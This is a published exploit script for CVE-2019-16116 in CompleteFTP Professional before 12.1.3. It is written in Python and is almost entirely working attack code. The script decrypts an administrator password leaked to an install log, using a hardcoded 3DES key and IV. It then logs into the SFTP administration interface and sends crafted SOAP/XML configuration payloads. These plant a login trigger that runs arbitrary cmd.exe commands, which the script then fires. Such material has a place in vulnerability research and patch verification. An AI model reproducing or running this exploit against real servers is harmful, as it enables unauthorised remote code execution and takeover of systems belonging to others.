# Exploit Title: CompleteFTP Professional 12.1.3 - Remote Code Execution # Date: 2020-03-11 # Exploit Author: 1F98D # Original Author: Rhino Security Labs # Vendor Homepage: https://enterprisedt.com/products/completeftp/ # Version: CompleteFTP Professional # Tested on: Windows 10 (x64) # CVE: CVE‑2019‑16116 # References: # https://rhinosecuritylabs.com/application-security/completeftp-server-local-privesc-cve-2019-16116/ # https://github.com/RhinoSecurityLabs/CVEs/tree/master/CVE-2019-16116 # # CompleteFTP before 12.1.3 logs an obscured administrator password to a file # during installation (C:\Program Files (x86)\Complete FTP\Server\Bootstrapper.log) # if CompleteFTP is configured to permit remote administration (over port 14983) it # is possible to obtain remote code execution through the administration interface # # This script requires the following python modules are installed # pip install paramiko pycryptodome uuid # #!/usr/local/bin/python3 from paramiko.sftp import CMD_EXTENDED from base64 import b64encode, b64decode from Crypto.Util.Padding import unpad from Crypto.Cipher import DES3 import xml.etree.ElementTree as ET import paramiko import struct import uuid import sys # region get_server_info get_server_info = """ <SOAP-ENV:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:SOAP-ENC="http://schemas.xmlsoap.org/soap/encoding/" xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" xmlns:clr="http://schemas.microsoft.com/soap/encoding/clr/1.0" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <i2:GetServerInfo id="ref-1" xmlns:i2="Admin API"> </i2:GetServerInfo> </SOAP-ENV:Body> </SOAP-ENV:Envelope> """.strip() # endregion # region update_config update_config = """ <SOAP-ENV:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:SOAP-ENC="http://schemas.xmlsoap.org/soap/encoding/" xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" xmlns:clr="http://schemas.microsoft.com/soap/encoding/clr/1.0" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <i2:UpdateConfig id="ref-1" xmlns:i2="Admin API"> <changes href="#ref-4"/> </i2:UpdateConfig> <a1:ConfigDataSet id="ref-4" xmlns:a1="http://schemas.microsoft.com/clr/nsassem/EnterpriseDT.Net.FtpServer.Config/CompleteFTPManager%2C%20Version%3D8.3.3.0%2C%20Culture%3Dneutral%2C%20PublicKeyToken%3D48e55b33069804ce"> <DataSet.RemotingVersion href="#ref-5"/> <XmlSchema id="ref-6">{XMLSCHEMA}</XmlSchema> <XmlDiffGram id="ref-7">{XMLDIFFGRAM}</XmlDiffGram> </a1:ConfigDataSet> <a2:Version id="ref-5" xmlns:a2="http://schemas.microsoft.com/clr/ns/System"> <_Major>2</_Major> <_Minor>0</_Minor> <_Build>-1</_Build> <_Revision>-1</_Revision> </a2:Version> </SOAP-ENV:Body> </SOAP-ENV:Envelope> """.strip() # endregion # region xml_schema xml_schema = """ <?xml version="1.0" encoding="utf-16"?> <xs:schema id="ConfigDataSet" targetNamespace="http://tempuri.org/ConfigDataSet.xsd" xmlns:mstns="http://tempuri.org/ConfigDataSet.xsd" xmlns="http://tempuri.org/ConfigDataSet.xsd" xmlns:xs="http://www.w3.org/2001/XMLSchema" xmlns:msdata="urn:schemas-microsoft-com:xml-msdata" xmlns:msprop="urn:schemas-microsoft-com:xml-msprop" attributeFormDefault="qualified" elementFormDefault="qualified"> <xs:element name="ConfigDataSet" msdata:IsDataSet="true" msdata:Locale="en-US" msdata:TimestampingEnabled="False"> <xs:complexType> <xs:choice minOccurs="0" maxOccurs="unbounded"> <xs:element name="PlugIn"> <xs:complexType> <xs:sequence> <xs:element name="PlugInID" msdata:DataType="System.Guid, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" type="xs:string" msdata:targetNamespace="http://tempuri.org/ConfigDataSet.xsd" /> <xs:element name="Name" msdata:targetNamespace="http://tempuri.org/ConfigDataSet.xsd"> <xs:simpleType> <xs:restriction base="xs:string"> <xs:maxLength value="100" /> </xs:restriction> </xs:simpleType> </xs:element> <xs:element name="ClassName" msdata:targetNamespace="http://tempuri.org/ConfigDataSet.xsd"> <xs:simpleType> <xs:restriction base="xs:string"> <xs:maxLength value="400" /> </xs:restriction> </xs:simpleType> </xs:element> <xs:element name="PlugInTypeID" type="xs:int" msdata:targetNamespace="http://tempuri.org/ConfigDataSet.xsd" /> <xs:element name="Configuration" type="xs:string" msdata:targetNamespace="http://tempuri.org/ConfigDataSet.xsd" minOccurs="0" /> <xs:element name="CreatedTime" type="xs:dateTime" msdata:targetNamespace="http://tempuri.org/ConfigDataSet.xsd" /> <xs:element name="ModifiedTime" type="xs:dateTime" msdata:targetNamespace="http://tempuri.org/ConfigDataSet.xsd" /> <xs:element name="UserInstance" type="xs:boolean" msdata:targetNamespace="http://tempuri.org/ConfigDataSet.xsd" minOccurs="0" /> <xs:element name="System" type="xs:boolean" msdata:targetNamespace="http://tempuri.org/ConfigDataSet.xsd" /> <xs:element name="EditorClassName" msdata:targetNamespace="http://tempuri.org/ConfigDataSet.xsd" minOccurs="0"> <xs:simpleType> <xs:restriction base="xs:string"> <xs:maxLength value="100" /> </xs:restriction> </xs:simpleType> </xs:element> <xs:element name="AssemblyPath" msdata:targetNamespace="http://tempuri.org/ConfigDataSet.xsd" minOccurs="0"> </xs:element> <xs:element name="MinimumEdition" type="xs:int" msdata:targetNamespace="http://tempuri.org/ConfigDataSet.xsd" minOccurs="0" /> <xs:element name="ChangeSetID" msdata:DataType="System.Guid, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" type="xs:string" msdata:targetNamespace="http://tempuri.org/ConfigDataSet.xsd" minOccurs="0" /> </xs:sequence> </xs:complexType> </xs:element> <xs:element name="Server"> <xs:complexType> </xs:complexType> </xs:element> <xs:element name="SiteUser"> <xs:complexType> </xs:complexType> </xs:element> <xs:element name="Site"> <xs:complexType> </xs:complexType> </xs:element> <xs:element name="Node"> <xs:complexType> </xs:complexType> </xs:element> <xs:element name="TrashHeap1"> <xs:complexType> </xs:complexType> </xs:element> <xs:element name="TrashHeap2"> <xs:complexType> </xs:complexType> </xs:element> <xs:element name="ChangeSet"> <xs:complexType> </xs:complexType> </xs:element> <xs:element name="RuntimeVariable"> <xs:complexType> </xs:complexType> </xs:element> </xs:choice> </xs:complexType> <xs:unique name="PlugIn_Constraint1" msdata:ConstraintName="Constraint1" msdata:PrimaryKey="true"> <xs:selector xpath=".//mstns:PlugIn" /> <xs:field xpath="mstns:PlugInID" /> </xs:unique> </xs:element> </xs:schema> """.replace("<", "<").replace(">", ">").replace('"', """).strip() # endregion # region xml_diffgram xml_diffgram = """ <diffgr:diffgram xmlns:msdata="urn:schemas-microsoft-com:xml-msdata" xmlns:diffgr="urn:schemas-microsoft-com:xml-diffgram-v1"> <ConfigDataSet xmlns="http://tempuri.org/ConfigDataSet.xsd"> <PlugIn diffgr:id="PlugIn1" msdata:rowOrder="0" diffgr:hasChanges="modified"> <PlugInID>88428040-73b3-4497-9b6d-69af2f1cc3c7</PlugInID> <Name>Process Execution</Name> <ClassName>EnterpriseDT.Net.FtpServer.Trigger.ProcessTrigger</ClassName> <PlugInTypeID>2</PlugInTypeID> <Configuration>{CONFIGURATION}</Configuration> <CreatedTime>2020-03-10T18:33:41.107+08:00</CreatedTime> <ModifiedTime>2020-03-10T10:52:00.7496654+08:00</ModifiedTime> <UserInstance>false</UserInstance> <System>true</System> <ChangeSetID>{ID}</ChangeSetID> </PlugIn> <PlugInType diffgr:id="PlugInType1" msdata:rowOrder="0"> <PlugInTypeID>2</PlugInTypeID> <Name>Event</Name> <CreatedTime>2009-06-29T11:48:00+08:00</CreatedTime> <ModifiedTime>2009-06-29T11:48:00+08:00</ModifiedTime> </PlugInType> <ChangeSet diffgr:id="ChangeSet1" msdata:rowOrder="0"> <ChangeSetID></ChangeSetID> <Sequence>3</Sequence> <CreatedTime>2020-03-10T10:50:44.4209655+08:00</CreatedTime> <ModifiedTime>2020-03-10T10:50:44.4209655+08:00</ModifiedTime> <IsPrimary>true</IsPrimary> </ChangeSet> </ConfigDataSet> <diffgr:before> <PlugIn diffgr:id="PlugIn1" msdata:rowOrder="0" xmlns="http://tempuri.org/ConfigDataSet.xsd"> <PlugInID>88428040-73b3-4497-9b6d-69af2f1cc3c7</PlugInID> <Name>Process Execution</Name> <ClassName>EnterpriseDT.Net.FtpServer.Trigger.ProcessTrigger</ClassName> <PlugInTypeID>2</PlugInTypeID> <Configuration></Configuration> <CreatedTime>2020-03-10T18:33:41.107+08:00</CreatedTime> <ModifiedTime>2020-03-10T10:50:44.4209655+08:00</ModifiedTime> <UserInstance>false</UserInstance> <System>true</System> <ChangeSetID></ChangeSetID> </PlugIn> </diffgr:before> </diffgr:diffgram> """.strip() # endregion # region config config = """ <TriggerDataSet xmlns="http://tempuri.org/TriggerDataSet.xsd"> <ProcessConfig> <ProcessConfigID>0</ProcessConfigID> <MaxProcesses>10</MaxProcesses> <RunTimeout>0</RunTimeout> <QueueTimeout>0</QueueTimeout> <KillOnExit>true</KillOnExit> </ProcessConfig> <ProcessRule> <ProcessRuleID>1</ProcessRuleID> <ProcessConfigID>0</ProcessConfigID> <Name>trigger</Name> <Enabled>true</Enabled> <ProcessType>0</ProcessType> <ProcessPath>cmd.exe</ProcessPath> <Arguments>/c {CMD}</Arguments> <PathFilter>*</PathFilter> <OnError>false</OnError> <OnSuccess>true</OnSuccess> <RowOrder>1</RowOrder> </ProcessRule> <ProcessEvent> <ProcessRuleID>1</ProcessRuleID> <EventType>LogIn</EventType> </ProcessEvent> </TriggerDataSet> """.strip() # endregion def prepare_update_config(uuid, cmd): config_payload = config config_payload = config_payload.replace('{CMD}', cmd) config_payload = config_payload.replace('<', '<') config_payload = config_payload.replace('>', '>') diffgram_payload = xml_diffgram diffgram_payload = diffgram_payload.replace('{CONFIGURATION}', config_payload) diffgram_payload = diffgram_payload.replace('{ID}', uuid) diffgram_payload = diffgram_payload.replace('&', '&') diffgram_payload = diffgram_payload.replace('<', '<') diffgram_payload = diffgram_payload.replace('>', '>') diffgram_payload = diffgram_payload.replace('"', '"') payload = update_config payload = payload.replace('{XMLSCHEMA}', xml_schema) payload = payload.replace('{XMLDIFFGRAM}', diffgram_payload) return payload def send_request(sftp, payload): payload = b64encode(bytes(payload, 'utf-8')).decode('utf-8') res = sftp._request(CMD_EXTENDED, 'admin@enterprisedt.com', 'SOAP64 ' + payload) return res def convert_changeset_id_to_uuid(changeset_id): a = struct.pack('i', int(changeset_id[0].text)) # 32 b = struct.pack('h', int(changeset_id[1].text)) # 16 c = struct.pack('h', int(changeset_id[2].text)) # 16 d = struct.pack('B', int(changeset_id[3].text)) # 8 e = struct.pack('B', int(changeset_id[4].text)) # 8 f = struct.pack('B', int(changeset_id[5].text)) # 8 g = struct.pack('B', int(changeset_id[6].text)) # 8 h = struct.pack('B', int(changeset_id[7].text)) # 8 i = struct.pack('B', int(changeset_id[8].text)) # 8 j = struct.pack('B', int(changeset_id[9].text)) # 8 k = struct.pack('B', int(changeset_id[10].text)) # 8 x = a + b + c + d + e + f + g + h + i + j + k return uuid.UUID(bytes_le=x) def get_uuid(sftp): res = send_request(sftp, get_server_info) if res[0] != 201: print('[!] Error could not request server info via SFTP') sys.exit(1) res = b64decode(res[1].get_string()).decode('utf-8') res = ET.fromstring(res) changeset_id = res.find('.//SyncChangeSetID') uuid = convert_changeset_id_to_uuid(changeset_id) return str(uuid) def login(host, port, user, password): ssh = paramiko.SSHClient() ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy()) ssh.connect(host, port, user, password, look_for_keys=False) return ssh.open_sftp() def send_command(sftp, cmd): uuid = get_uuid(sftp) payload = prepare_update_config(uuid, cmd) res = send_request(sftp, payload) if res[0] != 201: print('[!] Error could not send update config request via SFTP') sys.exit(1) def decrypt_password(password): key = b64decode('HKVV76GdVuzXne/zxtWvdjA2d2Am548E') iv = b64decode('gVGow/9uLvM=') encrypted = b64decode(password) cipher = DES3.new(key=key, iv=iv, mode=DES3.MODE_CBC) decrypted = cipher.decrypt(encrypted) return unpad(decrypted, 8).decode('utf-16') if len(sys.argv) != 6: print('[!] Missing arguments') print('[ ] Usage: {} <target> <port> <username> <encrypted-password> <cmd>'.format(sys.argv[0])) print("[ ] E.g. {} 192.168.1.128 14983 admin DEomw27OY7sYZs4XjYA2kVB4LEB5skN4 'whoami > C:\\x.txt'".format(sys.argv[0])) sys.exit(1) target = sys.argv[1] port = int(sys.argv[2]) username = sys.argv[3] password = sys.argv[4] cmd = sys.argv[5] print('[ ] Decrypting password') password = decrypt_password(password) print('[ ] Decrypted password is "{}"'.format(password)) print('[ ] Logging in') sftp = login(target, port, username, password) print('[ ] Sending command') send_command(sftp, cmd) print('[ ] Command successfully sent, triggering...') sftp = login(target, port, username, password)